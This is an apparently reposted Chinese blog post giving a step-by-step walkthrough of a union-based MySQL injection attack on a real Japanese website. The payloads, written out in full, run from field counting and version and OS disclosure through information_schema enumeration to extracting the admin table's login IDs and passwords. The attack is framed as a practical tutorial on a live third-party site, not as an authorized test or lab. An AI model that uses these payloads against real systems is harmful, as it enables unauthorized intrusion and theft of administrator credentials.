1. 程式人生 > >MySQL日本站實戰教程

MySQL日本站實戰教程

mysql sql註入 網絡安全 滲透測試 實戰教程

實戰記錄,日本某站






註入點 and 語句測試

and1=1 返回正常,and=2跳回首頁,可能過濾了


技術分享

技術分享








用 ’ 測試返回錯誤頁面


判斷為註入點

技術分享




order by語句查詢字段數


技術分享




技術分享




測試字段數為9


技術分享






and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9

報錯聯合查詢語句,查詢顯示位

2、3為顯示位

技術分享





使用註入函數可爆出數據庫版本信息


技術分享







and 1=2 UNION SELECT 1,@@version_compile_os,3,4,5,6,7,8,9

註入函數@@version_compile_os爆出操作系統


技術分享






and 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9

用註入函數database()爆出當前庫

技術分享






Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有數據庫和表結構信息

and1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8,9 frominformation_schema.SCHEMATA limit 0,1


技術分享

庫1<information_schema>






爆出第二個數據庫,limit1,1即可

發現第二個數據庫就是當前庫

技術分享

庫2<henecia>






and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9from information_schema.TABLES where TABLE_SCHEMA=(庫2名字16進制)limit 0,1

爆第一個表名,數據庫名要轉換為16進制


技術分享

表1 <TM_ADMIN_MEMBER>敏感表











改為limit 1,1可爆第二個表名


技術分享

表2<TM_BANNER_MASTER>







and 1=2 union select 1,group_concat(TABLE_NAME),3,4,5,6,7,8,9 from information_schema.TABLES where TABLE_SCHEMA=0x68656E65636961 limit 0,1


使用group_concat(table_name)可以一次爆出全部表名

技術分享







已得到敏感表名TM_ADMIN_MEMBER,接下來爆字段

表名要轉換為16進制

and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9 from information_schema.COLUMNS where TABLE_NAME=<轉換為16進制的表名> limit 0,1

技術分享






推薦使用這種方法



and 1=2 union select 1,group_concat(COLUMN_NAME),3,4,5,6,7,8,9 from information_schema.COLUMNS where TABLE_NAME=<轉換為16進制的表名> limit 0,1

#COLUMN 翻譯為 列

group_concat(COLUMN_NAME)函數可以一次爆出全部字段

或者可以修改limit 1,1、limit 2,1.......來一個一個爆出


技術分享

敏感字段<admin_id、login_id、login_pwd>







有敏感表名,敏感字段名後就獲取內容

經測試login_uid字段存放的是用戶名

login_pwd存放的是密碼

and 1=2 union select 1,login_uid,login_pwd,4,5,6,7,8,9 from 表名


技術分享





















接下來的自行腦補.......技術分享









歡迎各位大神指點批評!




晨風


本文出自 “10914757” 博客,謝絕轉載!

MySQL日本站實戰教程